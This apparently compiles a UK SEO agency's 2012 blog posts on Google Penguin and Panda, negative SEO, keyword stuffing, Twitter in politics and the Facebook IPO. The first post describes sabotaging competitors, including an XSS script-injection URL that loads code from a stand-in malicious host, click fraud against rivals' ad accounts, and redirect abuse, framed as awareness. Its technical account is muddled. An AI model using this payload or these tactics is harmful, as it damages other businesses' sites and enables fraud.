Hi again everyone. Today I am contiuing on the negative SEO theme. The first blog post of mine on the subject ‘Negative SEO – does it work’, you can read by clicking here.

SEO experts have always expressed concern about the gap in search algorithms and that Google ought to concern itself with filling these gaps rather than bringing about cosmetic changes through their Google Penguin and Panda updates. The dangerous repercussions of misusing these loopholes was brought to the forefront recently when two active users in the Traffic Power Forum ran a post explaining how they ruined a fellow SEO expert Dan Thies’s search rankings.

Let’s take a look at what exactly negative SEO is and how it works.

What is Negative SEO

The entire process of removing a particular piece of content on the internet would refer to negative SEO.

How is negative SEO done?

Common practices include spam reporting, setting up splogs, setting up some nasty backlinking and even posting fake reviews on Google Reviews. Here are some of the common techniques used:

• Infecting a site: As horrendous as this may sound; there exists a technique of disabling a site by injecting it with a virus. This can be done by using XXS vulnerabilities and creating links to pages that display content from the query string. JavaScript can be enabled to manipulate a search string like search.asp?keyword=mysearch with a page result that says “there are no search results for mysearch’. This can be done by modifying it as search.asp?keyword= <script src=”http://nastysite.com/malware.js”></script>. When this link is posted on to a web page and someone clicks on the search result, the JavaScript is inserted into the page content, with the same security level as the main page, thereby alerting Google, consequently flagging it and even removing it from search results.

• Raise an alert for fraud: This can be done very easily when the competitor is running an adsense campaign. You click their adverts so many times that their account is suspended.

• 301 redirects misuse – This is done by creating a spam site that resembles the competitor in style and meta content and then getting Google to index it. Once this is done, you can install a 301 redirect to the competitor’s site.

These are just some of the techniques. Mind you, this blog isn’t a hints and tips for negative tactics; it’s just to inform you that there exist people in this world who can do this to your site.

There used to be a time when the competition was between SEO’s and Google (not that this was good), but today, SEO against SEO? This is something that will surely pull the entire industry down and is undesirable. More on how to identify and handle negative SEO on a future blog!

For now, I’ll stick to common negative SEO practices. Speaking on the subject, here’s one instance of how negative SEO may have hit a site.

This example has been used several times now especially after the Google Penguin update. But what I’m concerned with here is just one search result – that of Nicholas Pinto’s web page. What is his result doing there?  The following image makes it clear that there’s nothing related to Viagra on his site!

But if you paste the URL on Google, You’d be surprised by the result. .. well some nasty colleague of this guy has ingeniously added the Viagra anchor texts with variations!

Now its another story altogether that Bing does not display this search result at all – but again, that’s for another day…

Has my site been hit by negative SEO?

If your worried that your website may have bee affected by negative SEO or if you just want some more information on what negative SEO is, why not drop us an email at email@hpnetservices.com. We’d love to hear from you.

Thanks for reading ‘Negative SEO – How Does It Work’.

Today I’m blogging about the micro-blogging site that we all love – Twitter. The post concentrates how Twitter is being used more and more by politicians throughout the world – but remember – Twitter can really play an important role in your business life as well.

Move over Facebook! Twitter is the undoubted social media darling in politics. President Obama’s use of this social media channel in his 2009 Presidential Elections changed politics in the US forever. Today, almost every politician worth his salt has registered his presence on Twitter. Right from David Cameron to Nick Clegg and Ed Miliband, everyone has taken a liking for this Blue Bird. It’s also a favorite among reporters who find it easy to pick up on trending topics. Here are a few political scenarios from around the globe where Twitter was a game changer…

Advantage Ann Romney

It all started with Democratic strategist Hilary Rosen commenting that Ann Romney probably ‘never worked a day in her life’, obviously referring to the fact that the stay-at-home mum of five kids never went to work and doesn’t really understand the economics of running a home.  Republicans were quick to catch up on this slip and ensured that it remained in the minds of women voters, especially stay at home mums. Ms. Rosen’s subsequent apology and volte-face did nothing to assuage the Republicans. Even Michelle Obama’s tweet on how ‘…every woman deserves to be respected” couldn’t stop the political backlash that ensued the comment.

Shut Up Nadine!

This was what the French people asked their Junior Minister for Learning and Training Nadine Morano who was found to be too active…err…hyperactive on Twitter. Apparently Ms. Morano was accused of not thinking twice before she opened her cakehole! She has been responsible for a series of blunders including telling Muslim women to “…dress properly, find a job, and stop speaking slang”, and even confusing Renault the car manufacturer with Renaud the singer. A probable tootsie-in-the-mouth syndrome I guess

Overreacting Indian Minister

A professor in the Indian state of West Bengal was recently arrested for tweeting a cartoon that depicted the Chief Minister (head of the State). This Professor was not only arrested but also beaten up by goons from the Minister’s ruling party and made to apologise. Ironically, the lady in question, Mamata Banerjee came to power after overthrowing a 40 year rule of left wing communists! Public reaction was terse, with people from all walks of life supporting the Professor for his harmless joke. Even fellow politicians came in support of the professor, with a Chief Minister of another state, Omar Abdullah tweeting, “… If I arrested everyone who made fun of me or a cartoon of me I (would) run out of prison space in a flash.”

Twitter is not just for politicians

Please remember Twitter is not just for politicians (I’m sure you knew that already ). It’s a great media for advertising your business and engaging your existing and potential customers. If you would like to discuss further how Twitter and be used to really help your business then please do get in touch. You can email us at email@hpnetservices.com or give us a call on 0121 288 2092.

Thank’s for reading ‘Politics in the Age of Twitter’.

A short while ago, the entire blogosphere was abuzz with discussions on negative SEO. It all started with two members of an active forum called Traffic Power, Jammy and Pixelgrinder who pulled up fellow member Dan Theis. Dan had earlier allegedly tried to brown nose Matt Cutts by praising him on Twitter. He even got a reply from Matt! They mentioned in detail about the tactics employed to destroy his rankings for his keywords Dan Thies, SEO, SEO service and SEO book – you can read the full negative seo transcript by clicking here.

They incorporated a variety of techniques including XRummer blasts, buying links on Fiverr, buying links from link networks, etc. While the site wasn’t removed off the index, it certainly lost rankings with respect to the keywords mentioned above. Dan even tweeted about receiving an unnatural link mail from Google. At the time of posting the thread, Dan’s site had gone into oblivion for two main keywords – SEO book and SEO service. However the keyword – Dan Thies – remained on number 1. With almost everyone including SEOmoz picking up the story, Dan’s name managed to remain on the number one spot. He however retorted saying that keyword rankings were temporarily affected not because of negative SEO, but because of a new theme that he employed. Well, the last time I checked Dan’s site ranked first for the keyword free SEO book.

As I earlier said, the story was picked up by Rank Fishkin of SEOmoz who openly challenged Negative SEO (another SEO company that explained in detail on the forum about how they forced a site JustGoodCars.com out of business) to try negative SEO on his site. Now that’s smart…because his declaration was public and chances are that Google’s watching to make sure that it doesn’t impact his site.

Can negative SEO work?

Anyways, more on how negative SEO is done on a future blog post. For now, I’ll just discuss if it works or not. Some argue that external link manipulation will not work on sites that have completely clean sites and have worked hard to build some credible backlinks. The sites that tanked indulged in some suspicious activities themselves. The negative SEO practices may have only triggered a review. And with the Google Penguin update hitting on suspicious links, this isn’t surprising. We’ll have to experiment with clean sites that haven’t really indulged in anything black hat to conclude if negative SEO works.

On the other hand the issue has indeed raised fear among small mom and pop businesses as it exposes them to the risk of negative SEO and makes them vulnerable to competitors who wouldn’t want to play the fair game.

If you are worried about negative SEO and if it will affect your business – please do get in touch with us. We’ll go through the topic with you in more detail and hopefully ease some of the fears that you may have.

That’s all for now on – ‘Negative SEO – Does It Work?’

Hello again everyone. Today I’m writing a little more about the Google Penguin update and some of the steps that you can take in order to avoid your own website being penalised.

SEO forums and blogs are full of Google Penguin bashing write-ups, but no one’s really tried to understand the underlying message that Google and Matt Cutts are trying to convey. Here’s a list of takeaways from the Google Penguin update that we think you should take note of.

 Google Penguin hint and tips

Here are a couple of tips that we recommend you follow in order to avoid being penalised by the Google Penguin update:

Pay Attention to Your Backlinks

This is probably the strongest message that is being conveyed through the Google Penguin update. A lot has been said about how several sites that did not indulge in keyword stuffing and has some pretty good content were hit. A lot of these webmasters were quick to point that they did not indulge in link baiting – but still saw negative effects to their search rankings. But, can they be reaaaaaaaally sure that all their backlinks are clean? Did they use Manual Directory Submission for instance! We all know this is a pretty white hat SEO strategy and there’s nothing wrong in it. But how do you make sure that the backlinks that you’ve got aren’t from dubious looking sites or from network sites. You may have innocently submitted your site to these directories without checking details about the site. The best solution as a result of this is to regularly check for backlinks. Linkbuilder.wordtracker.com is a pretty good site that can track your backlinks. Make sure that you check for sites with a low page rank, sites that are from the same network (those that share the same IP address), and sites that are purely malicious.

Stay Away From Black / Grey Hat Techniques

There are some sites that indulged in some pretty innocent (but prohibited by Google) link building tactics. A good example of this would be Godaddy.com. Here’s a link to an article that links to the strategy adopted by the company. But for those in a hurry I’ll explain in brief…

GoDaddy.com offers a service called Website Tonight where you can get your site built in a jiffy. At the footer is an image with a link that says ‘Powered by Website Tonight’. This image can be switched off, but many choose to ignore it. What appears as a mere image on the preview is actually a link when the site goes live. The author’s done a quick study to explain how their visibility doubled after they started doing this aggressively.

Well, now Google has started to punish such sites. Although this seems to be a pretty innocent way of spamming, it’s still prohibited by Google. But what worries me is that the proportion of such sites being hit (and mind you they’re pretty strong on content) is huge when compared to sites that indulged in large scale spamming.

In short:

• Google’s ready to sacrifice some of its search quality (remember Google Penguin isn’t about search quality) to punish sites that indulge in spam or do not follow their guidelines.
• SEO isn’t down and out; it’s just got a lot smarter. And we can’t really complain about Google trying to kill SEO; it’s their search engine, and we ought to play by their rules. Anyone who’s familiar with SEO and Google should know this.
• They’re ready to acknowledge (through the reconsideration form) that there have been some mistakes where sites that did not indulge in black hat link building got hit.

That’s all for this SEO News Post – ‘Takeaways From the Google Penguin Update’ – thank’s for reading.

Can we really get away and remove Google from our lives – well, actually yes – read on to discover a few alternatives to Google.

A list of alternatives to Google

Google has become synonymous with the term search engine, and has been the world’s leading search engine for as long as I remember. While everyone complains and cribs about how the company sells your search data to marketers, no one’s really serious about finding an alternative. Facebook’s on the process of designing a vertical search engine and Apple Siri is in the process of fine tuning its voice based search mechanism. While I don’t find anything wrong in using Google as a primary source, it isn’t wise to put all your eggs (especially after the Google Penguin update) in one basket. Here are a few alternatives to Google.

DuckDuckGo

DuckDuckGo is actually very popular in the SEO world for safe and secure browsing. People refer to this site to know their real search engine rankings. It takes its data from 50 sources including Yahoo!, Bing, and BOSS etc. The results aren’t influenced by user behavior, nor does it collect (or share) personal information.

Time magazine even named DuckDuckGo in its list of best websites last year.
Besides, guarantying privacy, the site also has some great features, including keyboard shortcuts to navigate results and integrating other services like Wolfram Alpha for quick help on unit conversions, calculations etc.

FactBites

Most search engines (including Google) display results using ye olde methodology of ranking sites depending on their back links. Relevancy according to search bots depends on its popularity. FactBites is one of those few sites that rely on content such as encyclopedias and Wikipedia to give you factual information. This is a great tool especially when you’re looking for unbiased information on topics such as health and finance. It’s also useful for school and college projects.

Quintura

Quintura – this one’s a favorite because of the fact that search results are displayed in order of relevance. There are tags that are displayed on the left of the screen; you can either choose to search from the category, or enter the keyword in the search box. The right side of the screen is a curve with tags including images, video and web. They also have a special design that makes it easy for kids to search for information.

As I earlier said, there are plenty of projects in the pipeline, especially fine tuning Siri. The old search box that took in data and then searched for information will surely become obsolete to be replaced by an intuitive and personal mechanism. Facebook’s search engine would probably take your request and search for information by looking into recommendations and references by friends and others with whom you are connected, and then guide you to the right place where you can buy things.

So, as can be seen, there are actually a few other sources that we can use to perform our daily searches, besides the Google search engine…

Thanks for reading ‘De-Google Your Life’.

The Google Panda 3.6 update was launched on 27th April and is a successor to the Google Panda version 3.5 update. Most webmasters and SEO gurus were too busy handling the Google Penguin update to notice this change to the algorithm.

The main objective of this update is to provide high quality sites to Google users who search for information on its platform. The Google Panda 3.6 update is just a little tweak to the previous update 3.5 that was launched on April 19th – just an 8 day gap between two successive updates! Pray tell us Google, why such a short gap? Should we be expecting to have these updates more frequently? ‘Official sources’ have the typical answer – this is just one of the many 500 changes that take place every year in the Google search engine. Before we go ahead, here’s what is known about the Google Panda 3.6 update:

• Web pages with poor quality content and irrelevant information about the services and products offered by them became losers.

• Websites with copy content sunk under the internet ocean and they were hardly visible to potential customers when they searched for products using specific keywords.

• SEO gurus who promoted websites using black hat SEO techniques were penalised heavily.

• Websites with fresh and informative content came in top of search engine results.

• High quality back links also played a main role in the Google Panda 3.6 update. This is basically the same message, albeit spoken with a little assertiveness.

This version of the Google Panda update did not affect many sites, although it brought its shares of winners and losers. Unfortunately most of them were not aware about the update until it hit them – and those who were hit did not know what Google release hit them – Google Penguin or Google Panda.

Web pages which contain essential information, informative content and good resources were listed towards the top of the search engine results. Needless to say it is hard to write an article on a specific niche focusing the audience. Articles with high quality relevant content are indeed few and far between.

Google Panda v3.6 – the conclusion

Bottom line – follow a natural keyword strategy while marketing any website. This in turn will help list the pages of the website rank higher in Google.

For more about the Google Panda v3.6 update – click here.

If you want to know how to survive this latest Google Panda update, and anymore, then this is the article for you.

Thanks for reading ‘An Overview of Google Panda 3.6′.

If Silicon Valley sources are to be believed, Facebook shall launch its IPO on Friday, 18^th May. The roadshow for the IPO offering is scheduled to begin next Monday. If things work well, Facebook can raise $10 billion through the IPO, thereby pegging the company’s worth to more than $100 billion.  This is likely to be the most awaited IPO since Google’s IPO launch in 2004.

The roadshow is expected to be led by the company’s COO Sheryl Sandberg and CFO David Ebersman. The roadshow will discuss details about the company structure, which is based on their two-tier system (similar to Google) with Zuckerberg retaining a major control over Facebook.

Facebook concerns?

Will it be successful, or will it go the Groupon and Zynga way? Are we reliving the dot com bust all over again? There are thousands of questions that come to mind. While investors are anxiously waiting for time to answer these questions, the IPO is already creating waves in the industry. It is believed that investment bankers Goldman Sachs and Morgan Stanley are willing to offer underwriting charges for less than 1% of the gross proceed. This is far less than the normal rate industry charge – 7 per cent for small deals and 3 per cent for large deals.

Even as the IPO is all set to become the best market debut ever, there are other concerns that need to be addressed. The primary one being the company’s inability to handle advertisers and their revenue. Facebook pays a lot of attention to consumer experience, but is ignoring advertisers who often find that they are knocking on the company’s doors but there is no one to respond. Now, this isn’t a business-model endorsement that the company wants, especially with the IPO launch getting ever nearer. Advertisers need Facebook to think beyond their self-service ad system and move on to a more sophisticated format, where they can find a better way to reach their 900 million users.

In an open letter to his share holders, Mark Zuckerberg announced that “….Facebook wasn’t initially built to be a company …it was built to accomplish a social mission – to make the world more open and more connected”. Little did he know that his mission would include almost 15 per cent of the world population. If Zuckerberg’s keen on taking Facebook to an even bigger scale, problems such as these have to be addressed.

For more details about Facebook going public, please click here.

Thanks for reading our short post ‘Facebook to Go Public on 18th May ‘.

Post Google Penguin, protests have almost reached record levels with every webmaster worth his salt complaining about how they (or others) have been hit, and how search algorithms are acting funny – the viagra search results have now become legendary and are going to haunt Google for a long time to come. This post discusses how website owners can cope with any of the past, present and future Google updates.

Google Penguin Updates – The Story So Far…

One of the latest releases is the Google Penguin update – for those who’d like to know more about this, please read my earlier post ‘Holy Cow…Google Penguin!! My Site’s Just Been Hit‘. For those of you just looking for a quick brief, the Google Penguin update has targeted sites that were responsible for one or more of the following:

• Over using anchor text as keywords: The following statistics from Mircomasters explains how anchor text affected sites that were penalised by the Google Penguin update.

From the statistics above, it is clear that sites that sourced more than 60% of its inbound links from anchor text keywords got hit. Typically these sites utilised:

• Low quality article marketing and blog strategies
• Keyword stuffing

Will the Stop Google Penguin Petitions Work?

Sorry to break the bubble, but Google Penguin is here to stay. This wasn’t an accidental algorithm change, but a deliberate attempt to make the Google search engine more user friendly. The fact that it ended up doing just the opposite is a different story altogether (let’s just leave that for another day). Google isn’t going to dump Penguin, but yes, it will almost most certainly tweak it.

What to do to help your own website?

OK, so what can you do to ‘update proof’ your site, and make it sustain not only the Google Panda and Google Penguin, but just about any black and white animal that Google could think of:

• Stop and rethink your strategies: If you think your site has been wrongly hit by the Google Penguin update, it’s probably time to take a step back and pause. Nothing causes more damage than a step taken in panic. Search your analytics and try to pinpoint exactly which traffic was lost. Are you using some strategy that is very popular because everyone’s doing it? Short-cut strategies that are popular today are often the penalised strategies of tomorrow.
• Is everyone on the same page: It’s common for many of my clients coming for damage control to swear that they have never indulged in black hat SEO strategies. Well, you may not have, but did you every hire or pay someone for link building? Make sure that you are aware of every strategy undertaken by the agents and workers under you.
• Check the timeline: The Google Penguin update launch was followed by the Panda 3.6 update launch, and if your site has been hit, it’ll be sometime before you know the right reason – and which update actually caused it.
• Optimise carefully: If you realise that you’ve become a victim of over optimisation make sure that you undo your wrong – but carefully. Don’t just panic; instead check the content of your page carefully. Does it serve a purpose, and do the keywords blend in with the content of the page?

And finally, if your page has been ‘wrongly’ hit by the Google Penguin update, don’t just hurry to submit the online form. First check your site for all the signs of mischief. Were you or any of your third party contractors engaged in suspicious link building activities? Is your content relevant? Set your house in order before you complain. At the end of the day, the best (and only) way to avoid any Google updates without your website being affected is to do all of your search engine optimisation by the book.

Thanks for reading ‘Surviving Google Updates – Google Penguin and all’.

The recent Google Penguin Update was intended to target spamsters who resorted to less than holy practices to fool users and search engine bots. However, as we recently reported (you can read the article ‘Holy Cow…Google Penguin!! My Site’s Just Been Hit‘ by clicking here), it ended up doing just the opposite. Webmasters were quick to point out that spam sites ranked high for keywords (Viagra was the most popular example), but geniune sites with good content tanked. Of course, these issues will be sorted over time, and sites that indulge in keyword stuffing (the main target of the Google Penguin update) will eventually lose search engine rankings. But for now, let us go into a bit more detail about keyword stuffing…

What is keyword stuffing?

Keyword stuffing is purely and simply adding business related keywords to pages on a website in as many places as possible. The keywords are stuffed or artificially added everywhere – right from meta descriptions and title tags, to the actual content. The result is to make the webpage (and the content / keywords within it) fit for search bots and not human users. Affliates often resort to keyword stuffing practices to redirect a user to their affiliate page. The whole concept of keyword stuffing finds its origins in the primitive days of search engine algorithims when bots thought that relevancy of a page was related to its keyword density – please note, this is not the case anymore. The bots got cleaver.

How to avoid the Google Penguin penalty because of Keyword Stuffing?

• Use your keywords wisely; do not repeat the same keywords again and again.
• While it is important to use keywords within your meta tags (title, description, and meta keywords), make sure that they make sense to a human reader. Meta tags should be unique and relevant for the page. Also do not repeat the same keywords over and over again on all the pages. If you own a blog, make sure that every post has unique tags for every post.
• Your keyword density should ideally be around 1.5% – 3%. You can opt for long tailed keywords that are easier to rank and are easy to incorporate in a sentence. Check your content for keyword stuffing by using tools such as ADD Me Tool and Article Underground.
• Avoid using hidden text. These are often done to cloak keywords. This is done by using white text on white background, hiding text behind an image, or even setting the font size to zero. Such pages are crawled by bots, but the content isn’t legible for human readers.

Bottom line – Write content that can be read by human beings. Use simple sentences that can be understood by readers. Don’t try and trick Google. Plain and simple isn’t it? Sadly, the most simple things in life are the most difficult to implement …

For more on keyword stuffing, please click here.

Thanks for reading ‘Keyword Stuffing Penalty and the Google Penguin Update’ – we’ll be back soon with more SEO news.

Google Penguin – Google’s latest update was destined for controversy right from the word go! To begin with the update did not have a name… it was merely called the Webspam Update. Thus anyone and everyone who complained about the Google Penguin update was a spammer! But suddenly Matt Cutts (and his lot at Google) did a u-turn and called it the Google Penguin update. Why the sudden change of name? Of course, when you blindly classify a bunch of webmasters as spammers they aren’t going to sit quiet! They’re going to raise a stink…

Here’s one example of the dirt digging that was done post the Webspam…err… Google Penguin Update.

As can be seen from this example, there are many sites of dubious distinction, that shouldn’t have ideally qualified to be listed here – for example – why is Berkeley.edu listed here?

There were several such examples on almost all major news sites. Here’s another example, where search engine metrics went ahead and posted a list of potential losers and winners as a result of the Google Penguin update.

They’ve now revised this list, considering the fact that the Panda 3.5 is live and could have played a more important role in this list.

But looks like ‘Big Bro’ is on alert mode. All examples (including the Viagra example published above) have been taken care of.

Enough of Google Penguin Bashing…

Let’s first understand what this update is is all about…

Google isn’t really clear on the factors that are taken into account for this update. But it does specify a list of activities that could ‘Google Penguin your site’. The bullet points below are quoted verbatim:

• Do not use hidden texts or hidden links: While this sounds to be a clear black and white statement, there’s also a grey area to this. Hidden texts have always been a bane and used by spammers to stuff keywords. But it is also possible to unintentionally create hidden texts. Eric Enge had written an excellent blog about how to identify and avoid hidden texts.
• Don’t use cloaking or sneaky redirects: Matt has been warning about the evil effects of cloaking. But how do you address White Hat Cloaking?
• Don’t load the pages with irrelevant keywords: Hotels Edinburg may be a good keyword… but…

“There are many hotels in Edinburg. It is very important that you choose hotels Edinburg with care. Here are a few points to know before you choose the correct hotel…”

 

This is what Google Penguin won’t tolerate.

Google Penguin – what to be aware of…

• Don’t create multiple pages, subdomains and domains with substantial duplicate content
• Don’t create pages with malicious behavior, such as phishing, or installing viruses, Trojans, or other badware: In short, don’t play mischief.
• Avoid doorway pages created just for search engines, or other cookie-cutter approaches such as affiliate programs with little or no content - In short, build your backlinks verrrry carefully.
• If your site participates in an affiliate program, make sure that your site adds value. Provide unique and relevant content that gives users a reason to visit your site first.

Google’s basically repeating what it says on its guidelines, and that is:

• Create pages for users not bots
• Don’t try to game Google.
• Pay attention to your backlinks

You can read more news about the Google Penguin update by clicking here.

That’s all for the Google Penguin Update for now… thanks for reading…